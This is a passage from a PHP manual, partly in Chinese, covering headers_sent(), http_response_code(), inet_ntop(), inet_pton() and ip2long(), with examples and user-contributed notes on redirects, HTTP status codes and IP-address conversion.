which will this time unconditionnally say that headers were sent.

This is noticed in php.ini comment :
"Output buffering allows you to send header lines (including cookies) even after you send body content, in the price of slowing PHP's output layer a bit."

Note : This is completly independant of implicit_flush tuning.
Jakob B. 07-Jan-2006 03:03
<?php
function redirect($filename) {
    if (!headers_sent())
        header('Location: '.$filename);
    else {
        echo '<script type="text/javascript">';
        echo 'window.location.href="'.$filename.'";';
        echo '</script>';
        echo '<noscript>';
        echo '<meta http-equiv="refresh" content="0;url='.$filename.'" />';
        echo '</noscript>';
    }
}
redirect('http://www.google.com');
?>
trevize (shtrudel) gmail.com 30-Nov-2005 06:43
Note that in IIS (or at least the version that comes with W2K server), the server seems to do some buffering, so even if you output someting or cause a warning, the value of headers_sent() may be false because the headers haven't been sent yet.

So it's not a safe way to know if warnings have been encountered in your script.
Terry 10-Feb-2005 07:58
For programmers used to Perl, note that sending a relative 'Location:' header sends a redirect to the browser in PHP, unlike Perl which will attempt to call relative URLs using an internal subrequest and return that page to the browser without redirecting.  If you want to do the same trick in PHP, use include() or virtual().
php at fufachew dot REMOVEME dot com 28-Feb-2004 11:26
RE: antti at haapakangas dot net's post

I've changed the code so $_SERVER['SERVER_NAME'] is used if $_SERVER['HTTP_HOST'] is not set.  $_SERVER['SERVER_NAME'] doesn't meet my needs, but I suppose it's good to fall back on it.  I've also fixed a problem in the meta refresh line - it was missing the "url=" part of the content attribute.

<?php
function server_url()
{
    $proto = "http" .
        ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == "on") ? "s" : "") . "://";
    $server = isset($_SERVER['HTTP_HOST']) ?
        $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
    return $proto . $server;
}

function redirect_rel($relative_url)
{
    $url = server_url() . dirname($_SERVER['PHP_SELF']) . "/" . $relative_url;
    if (!headers_sent())
    {
        header("Location: $url");
    }
    else
    {
        echo "<meta http-equiv=\"refresh\" content=\"0;url=$url\">\r\n";
    }
}
?>
antti at haapakangas dot net 28-Jan-2004 12:39
Re: php at fufachew dot com

That's a nice example how to implement Location header in a correct way (using absoluteURI). 95% of the scripts I have seen just use relativeURI which is wrong. Some browsers, for example lynx, actually notify user about incomplete Location headers. However it might be safer to use $_SERVER['SERVER_NAME'] instead of $_SERVER['HTTP_HOST']. Host header is a HTTP/1.1 feature and you can not count on that if you want to be interoperable with HTTP/1.0 implementations.


获取/设置响应的 HTTP 状态码

  • ? headers_sent
  • inet_ntop ?
  • PHP Manual
  • 网络 函数
  • 获取/设置响应的 HTTP 状态码

http_response_code

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

http_response_code — 获取/设置响应的 HTTP 状态码

说明

http_response_code(int $response_code = 0): int|bool

获取或者设置响应的 HTTP 状态码。

参数

response_code

可选的 response_code 会设置响应的状态码。

返回值

如果提供了 response_code，将返回先前的状态码。 如果未提供 response_code，会返回当前的状态码。 在 Web 服务器环境里，这些状态码的默认值都是 200。

如果在非 Web 服务器环境里调用（比如 CLI 应用里）， 不提供 response_code 就会返回 false 。 在非 Web 服务器环境里，提供 response_code 会返回 true （仅仅在先前没有设置过状态码的时候）。

示例

Example #1 Web 服务器环境内使用 http_response_code()

<?php

// 获取当前状态码，并设置新的状态码
var_dump(http_response_code(404));

//获取新的状态码
var_dump(http_response_code());
?>

以上示例会输出：

int(200)
int(404)

Example #2 在 CLI 环境内使用 http_response_code()

<?php

// 获取当前默认的响应状态码
var_dump(http_response_code());

// 设置状态码
var_dump(http_response_code(201));

// 获取新的状态码
var_dump(http_response_code());
?>

以上示例会输出：

bool(false)
bool(true)
int(201)

参见

  • header() - 发送原生 HTTP 头
  • headers_list() - 返回已发送的 HTTP 响应头（或准备发送的）

User Contributed Notes

viaujoc at videotron dot ca 24-Nov-2020 12:53
Do not mix the use of http_response_code() and manually setting  the response code header because the actual HTTP status code being returned by the web server may not end up as expected. http_response_code() does not work if the response code has previously been set using the header() function. Example:

<?php
header('HTTP/1.1 401 Unauthorized');
http_response_code(403);
print(http_response_code());
?>

The raw HTTP response will be (notice the actual status code on the first line does not match the printed http_response_code in the body):

HTTP/1.1 401 Unauthorized
Date: Tue, 24 Nov 2020 13:49:08 GMT
Server: Apache
Connection: Upgrade, Keep-Alive
Keep-Alive: timeout=5, max=100
Transfer-Encoding: chunked
Content-Type: text/html; CHARSET=gb2312

403

I only tested it on Apache. I am not sure if this behavior is specific to Apache or common to all PHP distributions.
divinity76 at gmail dot com 09-Apr-2020 08:33
if you need a response code not supported by http_response_code(), such as WebDAV / RFC4918's "HTTP 507 Insufficient Storage", try:

<?php
header($_SERVER['SERVER_PROTOCOL'] . ' 507 Insufficient Storage');
?>
result: something like

HTTP/1.1 507 Insufficient Storage
Anonymous 08-Jun-2018 09:16
http_response_code() does not actually send HTTP headers, it only prepares the header list to be sent later on.
So you can call http_reponse_code() to set, get and reset the HTTP response code before it gets sent.

Test code:
<php
http_response_code(500);  // set the code
var_dump(headers_sent());  // check if headers are sent
http_response_code(200);  // avoid a default browser page
Chandra Nakka 06-Aug-2017 02:41
On PHP 5.3 version, If you want to set HTTP response code. You can try this type of below trick :)

<?php

header('Temporary-Header: True', true, 404);
header_remove('Temporary-Header');

?>
divinity76 at gmail dot com 28-Nov-2016 02:53
warning, it does not check if headers are already sent (if it is, it won't *actually* change the code, but a subsequent call will imply that it did!!),

you might wanna do something like
function ehttp_response_code(int $response_code = NULL): int {
    if ($response_code === NULL) {
        return\ http_response_code();
    }
    if (\headers_sent()) {
        throw new\ Exception('tried to change http response code after sending headers!');
    }
    return\ http_response_code($response_code);
}
Kubo2 19-Mar-2016 10:18
If you want to set a HTTP response code without the need of specifying a protocol version, you can actually do it without http_response_code():

<?php

header('Status: 404', TRUE, 404);

?>
Thomas A. P. 03-Nov-2015 12:46
When setting the response code to non-standard ones like 420, Apache outputs 500 Internal Server Error.

This happens when using header(0,0,420) and http_response_code(420).
Use header('HTTP/1.1 420 Enhance Your Calm') instead.

Note that the response code in the string IS interpreted and used in the access log and output via http_response_code().
zweibieren at yahoo dot com 27-Apr-2015 01:30
The limited list given by Stefan W is out of date. I have just tested 301 and 302 and both work.
Steven 15-Mar-2015 01:12
http_response_code is basically a shorthand way of writing a http status header, with the added bonus that PHP will work out a suitable Reason Phrase to provide by matching your response code to one of the values in an enumeration it maintains within php-src/main/http_status_codes.h. Note that this means your response code must match a response code that PHP knows about. You can't create your own response codes using this method, however you can using the header method.

In summary - The differences between "http_response_code" and "header" for setting response codes:

1. Using http_response_code will cause PHP to match and apply a Reason Phrase from a list of Reason Phrases that are hard-coded into the PHP source code.

2. Because of point 1 above, if you use http_response_code you must set a code that PHP knows about. You can't set your own custom code, however you can set a custom code (and Reason Phrase) if you use the header method.
yefremov {dot} sasha () gmail {dot} com 20-Jan-2015 04:59
@craig at craigfrancis dot co dot uk@ wrote the function that replaces the original. It is very usefull, but has a bug. The original http_response_code always returns the previous or current code, not the code you are setting now. Here is my fixed version. I also use $GLOBALS to store the current code, but trigger_error() instead of exit. So now, how the function will behave in the case of error lies on the error handler. Or you can change it back to exit().

if (!function_exists('http_response_code')) {
    function http_response_code($code = NULL) {
        $prev_code = (isset($GLOBALS['http_response_code']) ? $GLOBALS['http_response_code'] : 200);

        if ($code === NULL) {
            return $prev_code;
        }

        switch ($code) {
            case 100: $text = 'Continue'; break;
            case 101: $text = 'Switching Protocols'; break;
            case 200: $text = 'OK'; break;
            case 201: $text = 'Created'; break;
            case 202: $text = 'Accepted'; break;
            case 203: $text = 'Non-Authoritative Information'; break;
            case 204: $text = 'No Content'; break;
            case 205: $text = 'Reset Content'; break;
            case 206: $text = 'Partial Content'; break;
            case 300: $text = 'Multiple Choices'; break;
            case 301: $text = 'Moved Permanently'; break;
            case 302: $text = 'Moved Temporarily'; break;
            case 303: $text = 'See Other'; break;
            case 304: $text = 'Not Modified'; break;
            case 305: $text = 'Use Proxy'; break;
            case 400: $text = 'Bad Request'; break;
            case 401: $text = 'Unauthorized'; break;
            case 402: $text = 'Payment Required'; break;
            case 403: $text = 'Forbidden'; break;
            case 404: $text = 'Not Found'; break;
            case 405: $text = 'Method Not Allowed'; break;
            case 406: $text = 'Not Acceptable'; break;
            case 407: $text = 'Proxy Authentication Required'; break;
            case 408: $text = 'Request Time-out'; break;
            case 409: $text = 'Conflict'; break;
            case 410: $text = 'Gone'; break;
            case 411: $text = 'Length Required'; break;
            case 412: $text = 'Precondition Failed'; break;
            case 413: $text = 'Request Entity Too Large'; break;
            case 414: $text = 'Request-URI Too Large'; break;
            case 415: $text = 'Unsupported Media Type'; break;
            case 500: $text = 'Internal Server Error'; break;
            case 501: $text = 'Not Implemented'; break;
            case 502: $text = 'Bad Gateway'; break;
            case 503: $text = 'Service Unavailable'; break;
            case 504: $text = 'Gateway Time-out'; break;
            case 505: $text = 'HTTP Version not supported'; break;
            default:
                trigger_error('Unknown http status code ' . $code, E_USER_ERROR); // exit('Unknown http status code "' . htmlentities($code) . '"');
                return $prev_code;
        }

        $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0');
        header($protocol . ' ' . $code . ' ' . $text);
        $GLOBALS['http_response_code'] = $code;

        // original function always returns the previous or current code
        return $prev_code;
    }
}
Stefan W 10-May-2014 02:55
Note that you can NOT set arbitrary response codes with this function, only those that are known to PHP (or the SAPI PHP is running on).

The following codes currently work as expected (with PHP running as Apache module):
200 - 208, 226
300 - 305, 307, 308
400 - 417, 422 - 424, 426, 428 - 429, 431
500 - 508, 510 - 511

Codes 0, 100, 101, and 102 will be sent as "200 OK".

Everything else will result in "500 Internal Server Error".

If you want to send responses with a freestyle status line, you need to use the `header()` function:

<?php header("HTTP/1.0 418 I'm A Teapot"); ?>
Anonymous 08-Mar-2014 07:23
You can also create a enum by extending the SplEnum class.
<?php

/** HTTP status codes */
class HttpStatusCode extends SplEnum {
    const __default = self::OK;

    const SWITCHING_PROTOCOLS = 101;
    const OK = 200;
    const CREATED = 201;
    const ACCEPTED = 202;
    const NONAUTHORITATIVE_INFORMATION = 203;
    const NO_CONTENT = 204;
    const RESET_CONTENT = 205;
    const PARTIAL_CONTENT = 206;
    const MULTIPLE_CHOICES = 300;
    const MOVED_PERMANENTLY = 301;
    const MOVED_TEMPORARILY = 302;
    const SEE_OTHER = 303;
    const NOT_MODIFIED = 304;
    const USE_PROXY = 305;
    const BAD_REQUEST = 400;
    const UNAUTHORIZED = 401;
    const PAYMENT_REQUIRED = 402;
    const FORBIDDEN = 403;
    const NOT_FOUND = 404;
    const METHOD_NOT_ALLOWED = 405;
    const NOT_ACCEPTABLE = 406;
    const PROXY_AUTHENTICATION_REQUIRED = 407;
    const REQUEST_TIMEOUT = 408;
    const CONFLICT = 408;
    const GONE = 410;
    const LENGTH_REQUIRED = 411;
    const PRECONDITION_FAILED = 412;
    const REQUEST_ENTITY_TOO_LARGE = 413;
    const REQUESTURI_TOO_LARGE = 414;
    const UNSUPPORTED_MEDIA_TYPE = 415;
    const REQUESTED_RANGE_NOT_SATISFIABLE = 416;
    const EXPECTATION_FAILED = 417;
    const IM_A_TEAPOT = 418;
    const INTERNAL_SERVER_ERROR = 500;
    const NOT_IMPLEMENTED = 501;
    const BAD_GATEWAY = 502;
    const SERVICE_UNAVAILABLE = 503;
    const GATEWAY_TIMEOUT = 504;
    const HTTP_VERSION_NOT_SUPPORTED = 505;
}
stephen at bobs-bits dot com 03-Mar-2014 07:44
It's not mentioned explicitly, but the return value when SETTING, is the OLD status code.
e.g.
<?php

$a = http_response_code();
$b = http_response_code(202);
$c = http_response_code();

var_dump($a, $b, $c);

// Result:
// int(200)
// int(200)
// int(202)
?>
Anonymous 24-Aug-2013 01:44
Status codes as an array:

<?php
$http_status_codes = array(100 => "Continue", 101 => "Switching Protocols", 102 => "Processing", 200 => "OK", 201 => "Created", 202 => "Accepted", 203 => "Non-Authoritative Information", 204 => "No Content", 205 => "Reset Content", 206 => "Partial Content", 207 => "Multi-Status", 300 => "Multiple Choices", 301 => "Moved Permanently", 302 => "Found", 303 => "See Other", 304 => "Not Modified", 305 => "Use Proxy", 306 => "(Unused)", 307 => "Temporary Redirect", 308 => "Permanent Redirect", 400 => "Bad Request", 401 => "Unauthorized", 402 => "Payment Required", 403 => "Forbidden", 404 => "Not Found", 405 => "Method Not Allowed", 406 => "Not Acceptable", 407 => "Proxy Authentication Required", 408 => "Request Timeout", 409 => "Conflict", 410 => "Gone", 411 => "Length Required", 412 => "Precondition Failed", 413 => "Request Entity Too Large", 414 => "Request-URI Too Long", 415 => "Unsupported Media Type", 416 => "Requested Range Not Satisfiable", 417 => "Expectation Failed", 418 => "I'm a teapot", 419 => "Authentication Timeout", 420 => "Enhance Your Calm", 422 => "Unprocessable Entity", 423 => "Locked", 424 => "Failed Dependency", 424 => "Method Failure", 425 => "Unordered Collection", 426 => "Upgrade Required", 428 => "Precondition Required", 429 => "Too Many Requests", 431 => "Request Header Fields Too Large", 444 => "No Response", 449 => "Retry With", 450 => "Blocked by Windows Parental Controls", 451 => "Unavailable For Legal Reasons", 494 => "Request Header Too Large", 495 => "Cert Error", 496 => "No Cert", 497 => "HTTP to HTTPS", 499 => "Client Closed Request", 500 => "Internal Server Error", 501 => "Not Implemented", 502 => "Bad Gateway", 503 => "Service Unavailable", 504 => "Gateway Timeout", 505 => "HTTP Version Not Supported", 506 => "Variant Also Negotiates", 507 => "Insufficient Storage", 508 => "Loop Detected", 509 => "Bandwidth Limit Exceeded", 510 => "Not Extended", 511 => "Network Authentication Required", 598 => "Network read timeout error", 599 => "Network connect timeout error");
?>

Source: Wikipedia "List_of_HTTP_status_codes"
Richard F. 15-Jun-2013 10:19
At least on my side with php-fpm and nginx this method does not change the text in the response, only the code.

<?php

// HTTP/1.1 404 Not Found
http_response_code(404);

?>

The resulting response is HTTP/1.1 404 OK
Rob Zazueta 09-May-2013 04:43
The note above from "Anonymous" is wrong. I'm running this behind the AWS Elastic Loadbalancer and trying the header(':'.$error_code...) method mentioned above is treated as invalid HTTP.

The documentation for the header() function has the right way to implement this if you're still on < php 5.4:

<?php
header("HTTP/1.0 404 Not Found");
?>
Anonymous 17-Jul-2012 11:35
If you don't have PHP 5.4 and want to change the returned status code, you can simply write:
<?php
header(':', true, $statusCode);
?>

The ':' are mandatory, or it won't work
craig at craigfrancis dot co dot uk 25-Jan-2012 04:38
If your version of PHP does not include this function:

<?php

    if (!function_exists('http_response_code')) {
        function http_response_code($code = NULL) {

            if ($code !== NULL) {

                switch ($code) {
                    case 100: $text = 'Continue'; break;
                    case 101: $text = 'Switching Protocols'; break;
                    case 200: $text = 'OK'; break;
                    case 201: $text = 'Created'; break;
                    case 202: $text = 'Accepted'; break;
                    case 203: $text = 'Non-Authoritative Information'; break;
                    case 204: $text = 'No Content'; break;
                    case 205: $text = 'Reset Content'; break;
                    case 206: $text = 'Partial Content'; break;
                    case 300: $text = 'Multiple Choices'; break;
                    case 301: $text = 'Moved Permanently'; break;
                    case 302: $text = 'Moved Temporarily'; break;
                    case 303: $text = 'See Other'; break;
                    case 304: $text = 'Not Modified'; break;
                    case 305: $text = 'Use Proxy'; break;
                    case 400: $text = 'Bad Request'; break;
                    case 401: $text = 'Unauthorized'; break;
                    case 402: $text = 'Payment Required'; break;
                    case 403: $text = 'Forbidden'; break;
                    case 404: $text = 'Not Found'; break;
                    case 405: $text = 'Method Not Allowed'; break;
                    case 406: $text = 'Not Acceptable'; break;
                    case 407: $text = 'Proxy Authentication Required'; break;
                    case 408: $text = 'Request Time-out'; break;
                    case 409: $text = 'Conflict'; break;
                    case 410: $text = 'Gone'; break;
                    case 411: $text = 'Length Required'; break;
                    case 412: $text = 'Precondition Failed'; break;
                    case 413: $text = 'Request Entity Too Large'; break;
                    case 414: $text = 'Request-URI Too Large'; break;
                    case 415: $text = 'Unsupported Media Type'; break;
                    case 500: $text = 'Internal Server Error'; break;
                    case 501: $text = 'Not Implemented'; break;
                    case 502: $text = 'Bad Gateway'; break;
                    case 503: $text = 'Service Unavailable'; break;
                    case 504: $text = 'Gateway Time-out'; break;
                    case 505: $text = 'HTTP Version not supported'; break;
                    default:
                        exit('Unknown http status code "' . htmlentities($code) . '"');
                    break;
                }

                $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0');

                header($protocol . ' ' . $code . ' ' . $text);

                $GLOBALS['http_response_code'] = $code;

            } else {

                $code = (isset($GLOBALS['http_response_code']) ? $GLOBALS['http_response_code'] : 200);

            }

            return $code;

        }
    }

?>

In this example I am using $GLOBALS, but you can use whatever storage mechanism you like... I don't think there is a way to return the current status code:

https://bugs.php.net/bug.php?id=52555

For reference the error codes I got from PHP's source code:

http://lxr.php.net/opengrok/xref/PHP_5_4/sapi/cgi/cgi_main.c#354

And how the current http header is sent, with the variables it uses:

http://lxr.php.net/opengrok/xref/PHP_5_4/main/SAPI.c#856


Converts a packed internet address to a human readable representation

  • ? http_response_code
  • inet_pton ?
  • PHP Manual
  • 网络 函数
  • Converts a packed internet address to a human readable representation

inet_ntop

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

inet_ntop — Converts a packed internet address to a human readable representation

说明

inet_ntop(string $ip): string|false

This function converts a 32bit IPv4, or 128bit IPv6 address (if PHP was built with IPv6 support enabled) into an address family appropriate string representation.

参数

ip

A 32bit IPv4, or 128bit IPv6 address.

返回值

Returns a string representation of the address 或者在失败时返回 false.

示例

Example #1 inet_ntop() Example

<?php
$packed = chr(127) . chr(0) . chr(0) . chr(1);
$expanded = inet_ntop($packed);

/* Outputs: 127.0.0.1 */
echo $expanded;

$packed = str_repeat(chr(0), 15) . chr(1);
$expanded = inet_ntop($packed);

/* Outputs: ::1 */
echo $expanded;
?>

参见

  • long2ip() - 将长整型转化为字符串形式带点的互联网标准格式地址（IPV4）
  • ip2long() - 将 IPV4 的字符串互联网协议转换成长整型数字
  • inet_pton() - Converts a human readable IP address to its packed in_addr representation

User Contributed Notes

marcus at synchromedia dot co dot uk 03-Jun-2015 04:27
PHP's inet_ntop function is not compatible with the binary representation used by MySQL's INET6_ATON function, assuming you are using the recommended method of storing both IPv4 and IPv6 addresses in a VARBINARY(16) field. You need to convert it like this:

/**
 * Convert a MySQL binary v4 (4-byte) or v6 (16-byte) IP address to a printable string.
 * @param string $ip A binary string containing an IP address, as returned from MySQL's INET6_ATON function
 * @return string Empty if not valid.
 */
function inet6_ntop($ip) {
    $l = strlen($ip);
    if ($l == 4 or $l == 16) {
        return inet_ntop(pack('A' . $l, $ip));
    }
    return '';
}

You don't need a function going the other way because MySQL's INET6_NTOA is already compatible with PHP's inet_pton function.
PandoraBox2007 at gmail dot com 03-Dec-2011 09:05
Before inet_pton nice work
//2001:0db8:85a3:0000:0000:8a2e:0370:7334

After
//2001:db8:85a3::8a2e:370:7334

no need compare compress data
string inet_ntop ( string $in_addr [, bool $compress = false] )

---
ryansun81 at gmail dot com 27-May-2010 03:11
For people who wondering what the meaning of this function name:
pton: a presentation(printable) format address to network address
ntop: a network address to presentation(printable) format address
MagicalTux at FF dot st 04-May-2005 04:43
For people who need this function but don't have it, I could write a function which should give almost the same result.

<?php
function my_inet_ntop($ip) {
    if (strlen($ip)==4) {
        // ipv4
        list(,$ip)=unpack('N',$ip);
        $ip=long2ip($ip);
    } elseif(strlen($ip)==16) {
        // ipv6
        $ip=bin2hex($ip);
        $ip=substr(chunk_split($ip,4,':'),0,-1);
        $ip=explode(':',$ip);
        $res='';
        foreach($ip as $seg) {
            while($seg{0}=='0') $seg=substr($seg,1);
            if ($seg!='') {
                $res.=($res==''?'':':').$seg;
            } else {
                if (strpos($res,'::')===false) {
                    if (substr($res,-1)==':') continue;
                    $res.=':';
                    continue;
                }
                $res.=($res==''?'':':').'0';
            }
        }
        $ip=$res;
    }
    return $ip;
}
?>

I followed IPv6 reprenstation rules :
- A series of "0"s in a 16bit block can by represented by "0".
- A series of blocks containing only "0"s can be suppressed and represented by "::" (this can be done only once)

(source : http://www.ipv6style.jp/en/faq/latest.shtml#2003022112 )

Example:
<?php
$packed = str_repeat(chr(0), 15) . chr(1);
$expanded = my_inet_ntop($packed);

/* Outputs: ::1 */
echo $expanded;
?>

I checked in CVS (2005-04-25) and didn't find the inet_ntop function (I really needed to handle IPv6) so I implemented it myself !


Converts a human readable IP address to its packed in_addr representation

  • ? inet_ntop
  • ip2long ?
  • PHP Manual
  • 网络 函数
  • Converts a human readable IP address to its packed in_addr representation

inet_pton

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

inet_pton — Converts a human readable IP address to its packed in_addr representation

说明

inet_pton(string $ip): string|false

This function converts a human readable IPv4 or IPv6 address (if PHP was built with IPv6 support enabled) into an address family appropriate 32bit or 128bit binary structure.

参数

ip

A human readable IPv4 or IPv6 address.

返回值

Returns the in_addr representation of the given ip, or false if a syntactically invalid ip is given (for example, an IPv4 address without dots or an IPv6 address without colons).

示例

Example #1 inet_pton() Example

<?php
$in_addr = inet_pton('127.0.0.1');

$in6_addr = inet_pton('::1');
?>

参见

  • ip2long() - 将 IPV4 的字符串互联网协议转换成长整型数字
  • long2ip() - 将长整型转化为字符串形式带点的互联网标准格式地址（IPV4）
  • inet_ntop() - Converts a packed internet address to a human readable representation

User Contributed Notes

admin at hanzlsoft dot eu 22-Jan-2021 12:33
Regarding the ::127.0.0.1 notation

It is a very special case that needs not to be handled. This kind of notation is reserved for ipv4-compatible ipv6 address.
For example the notation ::ffff:192.0.2.128 can be easily read as "ipv6 address that maps to ipv4 address 192.0.2.128"

However as RFC says:
https://tools.ietf.org/html/rfc5156#page-2

2.2.  IPv4-Mapped Addresses

   ::FFFF:0:0/96 are the IPv4-mapped addresses [RFC4291].  Addresses
   within this block should not appear on the public Internet.

2.3.  IPv4-Compatible Addresses

   ::<ipv4-address>/96 are the IPv4-compatible addresses [RFC4291].
   These addresses are deprecated and should not appear on the public
   Internet.

This means that you only need to handle this kind of notation if you need to be compatible with private IP's
tobias 06-May-2016 05:04
Oh my god:

0000:0000:0000:0000:0000:0000:0127:2258
becomes '"X.

Do not forget to escape it
dave at php dot net 06-Mar-2015 04:07
If you are receiving an "Unrecognized address" error for an IPv6 address, it's possible your version of PHP has not been compiled with IPv6 support.

To check, load up phpinfo(); and look to see if "IPv6 Support" is set to "disabled".
TuRn3r 02-Jun-2014 03:26
Be careful, address with leading 0 return false.

Example :
<?php
inet_pton('172.27.1.04'); // return false
inet_pton('172.27.1.4') ;// return the good result
?>
francis dot besset at gmail dot com 15-Jul-2011 01:45
It is possible to verify if PHP was compiled with --disable-ipv6 option by AF_INET6 constant.

<?php

if (defined('AF_INET6')) {
  echo "PHP was compiled without --disable-ipv6 option";
} else {
  echo "PHP was compiled with --disable-ipv6 option";
}

?>
strata_ranger at hotmail dot com 13-Sep-2009 10:51
If the input string is not a readable IP address, inet_pton() generates an E_WARNING and returns FALSE.  The same is true for inet_ntop().

Also, inet_pton() does not recognize netmask notation (e.g: "1.2.3.4/24" or "1:2::3:4/64") in the input string.  This differs from how some database systems (like postgreSQL) support IP address types, so if you need that sort of functionality when processing IP addresses in PHP you'll have to write it in yourself.

A rough example:

<?php

// Sample IP addresses
$ipaddr = '1.2.3.4/24'; // IPv4 with /24 netmask
$ipaddr = '1:2::3:4/64'; // IPv6 with /64 netmask

// Strip out the netmask, if there is one.
$cx = strpos($ipaddr, '/');
if ($cx)
{
  $subnet = (int)(substr($ipaddr, $cx+1));
  $ipaddr = substr($ipaddr, 0, $cx);
}
else $subnet = null; // No netmask present

// Convert address to packed format
$addr = inet_pton($ipaddr);

// Let's display it as hexadecimal format
foreach(str_split($addr) as $char) echo str_pad(dechex(ord($char)), 2, '0', STR_PAD_LEFT);
echo "<br />\n";

// Convert the netmask
if (is_integer($subnet))
{
  // Maximum netmask length = same as packed address
  $len = 8*strlen($addr);
  if ($subnet > $len) $subnet = $len;

  // Create a hex expression of the subnet mask
  $mask  = str_repeat('f', $subnet>>2);
  switch($subnet & 3)
  {
  case 3: $mask .= 'e'; break;
  case 2: $mask .= 'c'; break;
  case 1: $mask .= '8'; break;
  }
  $mask = str_pad($mask, $len>>2, '0');

  // Packed representation of netmask
  $mask = pack('H*', $mask);
}

// Display the netmask as hexadecimal
foreach(str_split($mask) as $char) echo str_pad(dechex(ord($char)), 2, '0', STR_PAD_LEFT);

?>
eric at vyncke org 18-Jul-2007 10:52
Not so easy in the function below... It is not handling the case of '::' which can happen in an IPv6 and represents any number of 0, addresses could be as simple as ff05::1
me at diogoresende dot net 16-May-2006 02:34
If you want to use the above function you should test for ':' character before '.'. Meaning, you should check if it's an ipv6 address before checking for ipv4.
Why? IPv6 allows this type of notation:

::127.0.0.1

If you check for '.' character you will think this is an ipv4 address and it will fail.


将 IPV4 的字符串互联网协议转换成长整型数字

  • ? inet_pton
  • long2ip ?
  • PHP Manual
  • 网络 函数
  • 将 IPV4 的字符串互联网协议转换成长整型数字

ip2long

(PHP 4, PHP 5, PHP 7, PHP 8)

ip2long — 将 IPV4 的字符串互联网协议转换成长整型数字

说明

ip2long(string $ip): int|false

函数 ip2long() 返回 IPV4 网络地址的长整型格式，从标准网络地址格式(点字符串)转化得到。

ip2long() 还可以与非完整IP进行工作。阅读 » http://ps-2.kev009.com/wisclibrary/aix52/usr/share/man/info/en_US/a_doc_lib/libs/commtrf2/inet_addr.htm 获得更多信息。

参数

ip

一个标准格式的地址。

返回值

返回IP地址转换后的数字，如果 ip 无效，则为 false。

示例

Example #1 ip2long() 例子

<?php
$ip = gethostbyname('www.example.com');
$out = "The following URLs are equivalent:<br />\n";
$out .= 'http://www.example.com/, http://' . $ip . '/, and http://' . sprintf("%u", ip2long($ip)) . "/<br />\n";
echo $out;
?>

Example #2 显示 IP 地址

第二个例子说明使用 printf() 打印转换后的地址：

<?php
$ip = gethostbyname('www.example.com');
$long = ip2long($ip);

if ($long == -1 || $long === FALSE) {
echo 'Invalid IP, please try again';
} else {
echo $ip . "\n"; // 192.0.34.166
echo $long . "\n"; // 3221234342 （-1073732954 32 位系统，整型溢出）
printf("%u\n", ip2long($ip)); // 3221234342
}
?>

注释

Note:

因为 PHP 的 int 类型是有符号，并且有许多的 IP 地址将导致在 32 位系统的情况下为负数，你需要使用"%u"进行转换通过 sprintf() 或 printf() 得到的字符串来表示无符号的 IP 地址。

Note:

由于整数值溢出，ip2long() 将为 32 位系统上的 IP 255.255.255.255 返回 -1。

参见

  • long2ip() - 将长整型转化为字符串形式带点的互联网标准格式地址（IPV4）
  • sprintf() - 返回格式化字符串

User Contributed Notes

schat 10-May-2019 11:20
sorry i just wrote wrong, sorry. this is the right one. thanks.

<?php
/**
 * convert cidr to ip range
 * From: <https://github.com/www-schat-top>
 * @param  string $cidr "192.168.0.0/23"
 * @return array  ["192.168.0.0", "192.168.1.255"]
 */
function cidr2range($cidr){
   list( $subnet, $mask ) = explode( '/', $cidr );
   return [$subnet, long2ip(ip2long( $subnet ) | (pow(2,( 32 - $mask ))-1))];
}
?>
Mike B 14-Oct-2017 12:16
<?php
/*
     Given an IP address and Subnet Mask,
     determine the subnet address, broadcast address, and wildcard mask
     by using bitwise operators

     ref:  http://php.net/manual/en/language.operators.bitwise.php
*/

$ip='10.10.10.7';
$mask='255.255.255.0';
$wcmask=long2ip( ~ip2long($mask) );
$subnet=long2ip( ip2long($ip) & ip2long($mask) );
$bcast=long2ip( ip2long($ip) | ip2long($wcmask) );
echo "Given address $ip and mask $mask, \n" .
"the subnet is $subnet and broadcast is $bcast \n" .
"with a wildcard mask of $wcmask";

/*
Given address 10.10.10.7 and mask 255.255.255.0,
the subnet is 10.10.10.0 and broadcast is 10.10.10.255
with a wildcard mask of 0.0.0.255
*/

?>
alex at alex-at dot ru 14-Sep-2016 08:52
Here are my versions of prefix to mask and mask to prefix conversions. You can remove first lines with if/preg of each function if you don't want sanity precheck.

    function prefix2Mask($prefix)
    {
        if (!preg_match('#^(?:0*[0-2]?[0-9]|3[0-2])$#', $prefix)) return false; # wrong prefix
        return long2ip(0xffffffff << (32 - $prefix));
    }

    function mask2Prefix($mask)
    {
        if (!preg_match('#^(?:(?:[0-1][0-9][0-9]|2[0-4][0-9]|25[0-5]|[0-9][0-9]|[0-9])\.){3}'.
            '(?:[0-1][0-9][0-9]|2[0-4][0-9]|25[0-5]|[0-9][0-9]|[0-9])$#', $mask))
            return false; # wrong mask
        $m2p = str_pad(substr(decbin(ip2long($mask)), -32, 32), 32, '0', STR_PAD_LEFT);
        if (!preg_match('#^(1*)0*$#', $m2p, $m)) return false; # wrong mask
        return strlen($m[1]);
    }
Karl Rixon 18-Sep-2014 02:01
The manual states that "ip2long() will also work with non-complete IP addresses", however this is system-dependant so cannot be relied upon. For example, on my system ip2long() will return FALSE for incomplete addresses:

<?php
var_dump(ip2long("255.255")); // bool(false)
?>

This is because ip2long will use inet_pton if available, which does not support non-complete addresses. If inet_pton is not available on your system, inet_addr will be used and incomplete addresses will work as stated.
oo dot para at gmail dot com 08-Jan-2014 10:30
If you want to validate IPs using this function, please be careful:
The function filter_var should be used instead for validating IPs.

<?php
$ip = '192.168.0355.24';
var_dump(ip2long($ip) !== false); // true (expected false)
var_dump(filter_var($ip, FILTER_VALIDATE_IP) !== false); // false

$ip = '192.168.355.24';
var_dump(ip2long($ip) !== false); // false
var_dump(filter_var($ip, FILTER_VALIDATE_IP) !== false); // false
?>
rasmus at mindplay dot dk 27-Aug-2013 02:54
As pointed out by others, this function's return value is not consistent on 32 and 64-bit platforms.

Your best bet for consistent behavior across 32/64-bit platforms (and Windows) is the lowest common denominator: force the return value of ip2long() into a signed 32-bit integer, e.g.:

    var_dump(unpack('l', pack('l', ip2long('255.255.255.0'))));

